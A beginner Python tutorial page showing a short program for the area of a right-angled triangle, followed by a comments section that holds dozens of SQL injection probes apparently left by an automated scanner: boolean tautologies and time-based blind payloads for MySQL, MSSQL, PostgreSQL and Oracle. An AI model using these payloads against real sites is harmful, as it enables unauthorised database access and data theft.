Area of Right angled triangle in Python

Python program to get length and width of right angled trianlgle and find area of right angled triangle

Sample Input 1:

4 5

Sample Output 1:

10

Flow Chart Design

Area of Right angled triangle in Python Flow Chart

Program or Solution

				
			
					
l=int(input("Enter the length:"))
w=int(input("Enter the width:"))
area=(l*w)/2
print("Area: {}".format(area))

			
				
			

Program Explanation

get length and width of a right-angled triangle using input() method calculate area = length * width

Comments

ubaTaeCJ
-1 OR 3+396-396-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+396-396) --
ubaTaeCJ
-1 OR 2+1-1-1=1 AND 396=396 --
ubaTaeCJ
-1 OR 2+1-1+1=1 AND 396=396 --
ubaTaeCJ
-1 OR 3*2=5 AND 396=396 --
ubaTaeCJ
-1 OR 3*2=6 AND 396=396 --
ubaTaeCJ
-1 OR 2+937-937-1=0+0+0+1
ubaTaeCJ
-1 OR 3+937-937-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+937-937)
ubaTaeCJ
-1 OR 3*2>(0+5+937-937)
ubaTaeCJ
-1' OR 2+538-538-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+538-538-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+538-538) --
ubaTaeCJ
-1' OR 3*2>(0+5+538-538) --
ubaTaeCJ
-1' OR 2+502-502-1=0+0+0+1 or 'vSdRgapJ'='
ubaTaeCJ
-1' OR 3+502-502-1=0+0+0+1 or 'vSdRgapJ'='
ubaTaeCJ
-1' OR 3*2<(0+5+502-502) or 'vSdRgapJ'='
ubaTaeCJ
-1' OR 3*2>(0+5+502-502) or 'vSdRgapJ'='
ubaTaeCJ
-1" OR 2+757-757-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+757-757-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+757-757) --
ubaTaeCJ
-1" OR 3*2>(0+5+757-757) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
kJ7Corfz'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 24=(SELECT 24 FROM PG_SLEEP(3))--
ubaTaeCJ
-5) OR 729=(SELECT 729 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 965=(SELECT 965 FROM PG_SLEEP(15))--
ubaTaeCJ
acUvskbJ' OR 42=(SELECT 42 FROM PG_SLEEP(15))--
ubaTaeCJ
89VIctYM') OR 531=(SELECT 531 FROM PG_SLEEP(15))--
ubaTaeCJ
65Dw50KV')) OR 451=(SELECT 451 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),6)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@RcPMP